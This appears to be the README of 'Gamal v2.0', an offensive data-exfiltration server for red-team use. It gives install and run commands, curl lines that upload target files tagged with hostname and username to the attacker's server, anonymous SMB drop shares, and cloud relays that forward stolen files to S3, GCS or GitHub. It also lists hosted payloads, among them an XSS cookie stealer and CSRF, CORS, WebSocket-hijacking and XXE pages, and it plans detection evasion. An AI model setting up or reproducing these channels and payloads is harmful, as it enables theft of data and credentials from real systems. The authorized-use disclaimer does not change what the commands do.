Gamal v2.0

Multi-channel data exfiltration orchestrator.

Install

cd /opt
git clone github.com/Fadavvi/Gamal
cd Gamal
pip install fastapi uvicorn python-multipart pyyaml werkzeug dnslib aiosmtpd impacket cryptography 2>/dev/null || true

Quick Start

# Default - always HTTPS (auto-generated self-signed cert)
python main.py --port 1337 --ip 0.0.0.0

# With user-provided certificate/key
python main.py --cert fullchain.pem --key private.key --port 443 --ip 0.0.0.0

# With DNS channel enabled
python main.py --channels dns,smb --port 1337

# With a custom config file
python main.py --config /path/to/my-config.yaml

Note: Gamal v2.0 runs HTTPS by default. Omit --cert/--key to use a freshly generated self-signed certificate (valid for 365 days). Provide both flags to use your own PEM files.

Arguments

command       sub-command: start (default), deliver
--log LOG     Path to log file
--port PORT   Listening port (default: 1337)
--ip IP       Bind address (e.g. 0.0.0.0 or 127.0.0.1)
--canary TEXT Canary token string
--cert PATH   Optional fullchain PEM for HTTPS (auto-generated cert used if omitted)
--key PATH    Required only together with --cert; SSL private key file
--host HOST   External hostname or IP (format: FQDN:PORT)
--delivery    Show payload URLs from ./f/
--channels LIST  Comma-separated channels to enable (dns,icmp,smtp,smb,cloud,timing)
--crypto-key TEXT Encryption key for channels that support it (e.g. SMTP). Empty = no encryption.
--config PATH   Path to config file (default: config.yaml)

Exfiltration Channels

HTTP Upload (built-in)

curl -k -F "file=@/path/to/file" https://IP:PORT/e/upload
# Organize by host/user:
curl -k -F "file=@/path/to/file" "https://IP:PORT/e/upload?host=$(hostname)&user=$(id -un)"

DNS Tunneling

Enable with --channels dns in config.yaml. Receiver listens on port 53 (UDP), decodes hex-encoded subdomain labels into files under received/dns/.

ICMP Tunneling

Enable with --channels icmp. Raw socket receiver detects p0s protocol signatures and saves payloads to received/icmp/. Requires root.

SMB Share

Enable with --channels smb. Hosts anonymous share named EXFIL at received/smb/. Targets copy files via copy \\gamal_ip\EXFIL\ or net use X: \\gamal_ip\EXFIL.

Cloud Storage Proxy

When one or more channels (DNS, SMB, etc.) receive an exfiltrated file, Gamal fans out that file to every backend listed in backends. Enable with:

channels:
  cloud:
    enabled: true
    backends: [s3, github]   # files go to ALL configured backends
    creds:
      s3:     {bucket_name: "my-bucket", credentials_file: "/path/to/creds"}
      github: {repo_token: "ghp_...", repo_name: "username/repo"}

The same file is uploaded to every backend simultaneously. For one-to-one pushes, use the Cloud Relay endpoint (/e/relay/<secret>) below instead.

Cloud Relay

Configure one cloud provider in config.yaml under [cloud_relay]. The server prints the relay URL at startup:

[gamal] Cloud relay: https://0.0.0.0:1337/e/relay/<secret>

Push any file directly to your cloud (same pattern as regular upload):

curl -k -F "file=@/path/to/file" "https://IP:PORT/e/relay/<SECRET>"

Required configuration by provider

One of these three must be set; the others should be left blank:

AWS S3 - use either credentials_file or inline keys:

# Option 1: credentials file (e.g. from AWS CLI 'aws configure export-credentials')
cloud_relay:
  enabled: true
  backend: s3
  creds:
    s3: {bucket_name: "my-bucket", credentials_file: "/path/to/aws_creds"}

# Option 2: inline keys (if no credentials file)
cloud_relay:
  enabled: true
  backend: s3
  creds:
    s3: {bucket_name: "my-bucket", aws_key: "YOUR_KEY", aws_secret: "YOUR_SECRET"}

Google Cloud Storage

cloud_relay:
  enabled: true
  backend: gcs
  creds:
    gcs: {bucket_name: "my-bucket", credentials_path: "/path/to/creds.json"}

GitHub Contents API

cloud_relay:
  enabled: true
  backend: github
  creds:
    github: {repo_token: "ghp_...", repo_name: "username/repo"}

Other parameters

Parameter	Description
enabled	Set to true to enable the relay endpoint
backend	Exactly one of s3, gcs, or github
url_secret	URL path secret - leave empty to auto-generate, or set a custom value
bucket_name	Storage bucket name (S3/GCS) or ignored (GitHub)
credentials_path	GCS service-account JSON file path (GCS only)
credentials_file	AWS IAM credential file path (~/.aws/credentials format, S3 only)
aws_key / aws_secret	AWS access key and secret (S3 only)
repo_token / repo_name	GitHub PAT and owner/repo format (GitHub only)

Timing Channel

Enable with --channels timing. Low-bandwidth channel using inter-request timing encoding (short=0, long=1).

Payload Delivery

Add files to /f folder → accessible at https://IP:PORT/f/<filename>

Endpoint	Description
/f/xss.js	XSS cookie stealer
/f/CORS.html	CORS exploit POC
/f/CSRF.html	CSRF auto-submit page
/f/CSWSH.html	WebSocket hijacking
/f/meta.jpg	XSS in EXIF metadata
/f/EBXXE.dtd	XXE DTD payload
/f/xxe1.svg, /f/xxe2.svg	XXE via SVG

Helper script (gamal-helper.sh) downloads Windows/Linux/macOS/webshell attack tools.

Disclaimer

This tool is intended for use only in a legal and legitimate manner (authorized red-team exercises, penetration testing with written consent).

To Do

• Steganography (Image LSB, audio phase encoding, protocol header obfuscation)
• Detection evasion (Traffic shaping, TLS fingerprint spoofing, LotL, decoy traffic)